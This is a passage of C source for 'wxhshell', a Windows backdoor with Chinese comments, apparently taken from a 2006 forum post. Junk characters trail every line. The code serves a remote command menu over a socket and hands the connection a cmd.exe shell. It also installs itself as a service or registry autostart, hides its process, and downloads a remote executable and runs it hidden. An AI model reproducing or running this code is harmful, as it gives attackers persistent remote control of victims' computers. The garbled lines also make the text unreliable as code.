  %Vrl"4^}t  
  // 帮助 lh3%2Dq$  
  case '?': { Z<K[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f8_5.vlw  
    break; )7c\wAs  
  } Q<P],}?:  
  // 安装 ]3xnq<  
  case 'i': { fXvJ3w(  
    if(Install()) TLl*gED  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )-#%  
    else ,d<wEB?\`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /!oi`8D  
    break; ${ad[hs  
    } Sm;&2"  
  // 卸载 0FsGqFt  
  case 'r': { AF ZHS\  
    if(Uninstall()) IfeG"ua|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  .VuZ=  
    else (A\qZtnyl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8},!t\j#]  
    break; SC74r?N FA  
    } 8b !&TP~m1  
  // 显示 wxhshell 所在路径 !0 `44Gbq  
  case 'p': { 9s6, &'  
    char svExeFile[MAX_PATH]; Xoml  
    strcpy(svExeFile,"\n\r"); A5z`_b4f  
      strcat(svExeFile,ExeFile); K=M5d^K<E  
        send(wsh,svExeFile,strlen(svExeFile),0); NtkEb :  
    break; .<^dv?@  
    } l~AmHw e  
  // 重启 ,* ?bET $  
  case 'b': { 7&/iuP$.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7=u\D  
    if(Boot(REBOOT)) LR]P?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /@lXQM9 T  
    else { ]zmY] 5  
    closesocket(wsh); G#@o6r  
    ExitThread(0); v)!Rir5  
    } 'h%)@q)J)  
    break; &!2 4l=!  
    } ae{% * \J  
  // 关机 fBS;~;l  
  case 'd': { E@hvO%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <w+K$WE {  
    if(Boot(SHUTDOWN)) HGs.v}@&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v0jRoE#  
    else { 4&!`Yi_1L  
    closesocket(wsh); /hOp>|  
    ExitThread(0); 7ml,  
    } ? Sj,HLo@U  
    break; [m?eSq6e2b  
    } {[61LQ6V9  
  // 获取shell <`9Q{~*=t  
  case 's': { )i0\U  
    CmdShell(wsh); Ra&HzK?  
    closesocket(wsh); `n Y!nh6!  
    ExitThread(0); |0ACapp!  
    break; c>:}~.~T  
  } 1,T8@8#  
  // 退出 Eh#W*Bg  
  case 'x': { !F/;WjHz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `]#DdJ_|  
    CloseIt(wsh); (WCpaC  
    break; 1&ZG6#16q  
    } `fu(  
  // 离开 9(QY~F  
  case 'q': { \'&:6\-fw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R#`hT  
    closesocket(wsh); q%bNT  
    WSACleanup(); L:IaJ?+?  
    exit(1); 73A1+2  
    break; @E{c P%fv  
        } vK!,vKa.  
  } H\W60|z9  
  } ^j[>.D  
*$Aneq0f  
  // 提示信息 K!7o#"GM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 25XD fi75  
} I5wf|wB-  
  } /PE3>"|wE  
o_t2 Z  
  return; \kF}E3~+#  
} eA$9)K1GO  
|#^u%#'[2  
// shell模块句柄 ]QJLES  
int CmdShell(SOCKET sock) fa8vY  
{ 4pJOJ!?  
STARTUPINFO si; &q#$SU,$(  
ZeroMemory(&si,sizeof(si)); sHm|&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5]:fkx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D06'"  
PROCESS_INFORMATION ProcessInfo; @C0{m7q  
char cmdline[]="cmd"; ) 2wof(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I?c# T Rm  
  return 0; Y\(Q  
} q{ n~v>wU  
|fYNkD 8z1  
// 自身启动模式 w1KLQd:yq  
int StartFromService(void) z2i?7)(?;A  
{ Fx~=mYU  
typedef struct cR 4xy26s  
{ Q%o ]&Hdn  
  DWORD ExitStatus; I;qeDCM  
  DWORD PebBaseAddress; S7P](F=n#  
  DWORD AffinityMask; ]7^OTrZ N  
  DWORD BasePriority; %0YwaxXPn7  
  ULONG UniqueProcessId; YC - -&66  
  ULONG InheritedFromUniqueProcessId; 4xk'R[v  
}   PROCESS_BASIC_INFORMATION; _&FcHwRy  
C8}ujC  
PROCNTQSIP NtQueryInformationProcess; l]%_D*<Y  
INby0S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G5|xWeNgA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N8m|Y]^H#  
12gcma}  
  HANDLE             hProcess; 5u'"m<4  
  PROCESS_BASIC_INFORMATION pbi; ^Jcs0c @\  
y&-wb'==p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WEFYV=I\  
  if(NULL == hInst ) return 0; { xi$'r  
sw6]Bc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A-aukJg9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /k|y\'<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'uGn1|Pvy  
\9geDX9A  
  if (!NtQueryInformationProcess) return 0; / *Z( ;-  
T3u%V_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )TnxsFC  
  if(!hProcess) return 0; Lfx&DK !  
qXR>Z=K<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5rRYv~+  
Tm-Nz7U^^  
  CloseHandle(hProcess); h`-aO u  
C|5eV=f)P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R!0O[i  
if(hProcess==NULL) return 0; MLtfi{;LH  
jY-{hW+r  
HMODULE hMod; s+YQ :>F  
char procName[255]; /zMiy?  
unsigned long cbNeeded; Q@6OIE  
G4{ zt3{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PCF!Y(l  
B4bC6$Lg  
  CloseHandle(hProcess); *>h"}e41  
U=\ZeYK.  
if(strstr(procName,"services")) return 1; // 以服务启动 x[U/ 8#f&  
"X4OUk  
  return 0; // 注册表启动 H{ p   
} ;| ##~Y.9  
/)ps_gM  
// 主模块 biKom|<nm  
int StartWxhshell(LPSTR lpCmdLine) ,-myR1}  
{ ^s\(2lB\F  
  SOCKET wsl; aFjcyD  
BOOL val=TRUE; ?wt%e;  
  int port=0; @(Wx(3JR?}  
  struct sockaddr_in door; @G+Hrd6  
r" d/ 9  
  if(wscfg.ws_autoins) Install(); [wWip1OR  
coT|t T  
port=atoi(lpCmdLine); 2>Hl=bX  
=hxj B*")  
if(port<=0) port=wscfg.ws_port; ;XNe:g.CR  
+[:"$?J  
  WSADATA data; dnTB$8&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #56}RV1  
vQ>x5\r5O_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0+jR,5 |  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :CH "cbo  
  door.sin_family = AF_INET; yoGe^gar  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8u Tq0d6(  
  door.sin_port = htons(port); X1?7}VO  
Tjma'3H*T0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WF,<7mx=-  
closesocket(wsl); c?A(C#~ z  
return 1; <^snS,06  
} J@PwN^`  
~CIA6&  
  if(listen(wsl,2) == INVALID_SOCKET) { w vBx]$SC  
closesocket(wsl); CE]0OY  
return 1; 6My=GByC  
} xy)Y)yp  
  Wxhshell(wsl); u&yAMWl  
  WSACleanup(); 43-mv1>.  
PeGA+0bm  
return 0; 92!1I$zi  
Wjc1EW!2x  
} 6SI`c+'@5  
{XH!`\  
// 以NT服务方式启动 @8E mY,{;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8 z0j}xY%  
{ M]4qS('[  
DWORD   status = 0; ,r~pf (nz  
  DWORD   specificError = 0xfffffff; teH.e!S  
4Xi _[ Xf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S+Z_Qf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GEj/Z};;[b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \ofWD{*j  
  serviceStatus.dwWin32ExitCode     = 0; by!1L1[JTt  
  serviceStatus.dwServiceSpecificExitCode = 0; j oDY   
  serviceStatus.dwCheckPoint       = 0; *z I@Htp  
  serviceStatus.dwWaitHint       = 0; KI)jP((  
Oya:{d&=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9Jd{HI=  
  if (hServiceStatusHandle==0) return; > 2_xRn<P  
2k;>nlVxX  
status = GetLastError(); $*w]]b$Dn  
  if (status!=NO_ERROR) s ;EwAd(  
{ .l5y+a'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8*z)aB&f3  
    serviceStatus.dwCheckPoint       = 0; 2z+Vt_%  
    serviceStatus.dwWaitHint       = 0; *"Yz"PK  
    serviceStatus.dwWin32ExitCode     = status; ,rj_P  
    serviceStatus.dwServiceSpecificExitCode = specificError; Qz)1wf'y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lf0Y|^!S_u  
    return; 3Kuu9< 0  
  } !iUFD*~r~  
>a/]8A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "[M,PI!B  
  serviceStatus.dwCheckPoint       = 0; GcN[bH(@  
  serviceStatus.dwWaitHint       = 0; Pu/X_D-#Gi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HwfBbWHr'  
} 1bjhEO W  
)7!q>^S{ B  
// 处理NT服务事件,比如:启动、停止 Jm8{@D%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gZ vX~  
{ ~Sy/q]4ys*  
switch(fdwControl) 5-'jYp/  
{ uqe{F+;8&  
case SERVICE_CONTROL_STOP: #tX\m ;  
  serviceStatus.dwWin32ExitCode = 0; =v^LShD2^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %+Hhe]J ld  
  serviceStatus.dwCheckPoint   = 0; c6/+Ye =h  
  serviceStatus.dwWaitHint     = 0;  Age  
  { XTboFrf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E_sKDybj  
  } 7|Z=#3INw  
  return; 7Nx5n<  
case SERVICE_CONTROL_PAUSE: u&{}hv&FY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \AFoxi2h  
  break; kS_oj  
case SERVICE_CONTROL_CONTINUE: S}L$-7Ct  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3h t>eaHi  
  break; n^vL9n_N  
case SERVICE_CONTROL_INTERROGATE: S:!gj2q9|  
  break; c#o(y6  
}; LpRl!\FY$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #9{N[t  
} NqyKR&;  
[R V_{F:'  
// 标准应用程序主函数 ,36AR|IO)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |,!]]YO.V  
{ K+2k}Hx6J  
1,UeVw/  
// 获取操作系统版本  B=)&43)\  
OsIsNt=GetOsVer(); t6-He~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fKEZlrw  
/$ a>f>EJ  
  // 从命令行安装 mL\_C9k,n  
  if(strpbrk(lpCmdLine,"iI")) Install(); WRa1VU&f  
Fu0"Asxce  
  // 下载执行文件 F3d: W:^_  
if(wscfg.ws_downexe) { `zf,$67>1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Iw@ou  
  WinExec(wscfg.ws_filenam,SW_HIDE); n1 k2<BU4b  
} K>%}m,  
+5:Dy,F =  
if(!OsIsNt) { ~V#MI@]V~  
// 如果时win9x,隐藏进程并且设置为注册表启动 a^:on?:9  
HideProc(); aqL#g18  
StartWxhshell(lpCmdLine); 3JhT  
} f@JMDJ  
else UqVcN$^b  
  if(StartFromService()) 5:S=gARz  
  // 以服务方式启动 q{4W@Um-  
  StartServiceCtrlDispatcher(DispatchTable); BY*{j&^  
else $y%X#:eLJ  
  // 普通方式启动 }5_[t9LX  
  StartWxhshell(lpCmdLine); :mP%qG9U  
}~B@Z\`O  
return 0; h?t#ABsVK  
}
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只看该作者 1 发表于: 2006-10-10
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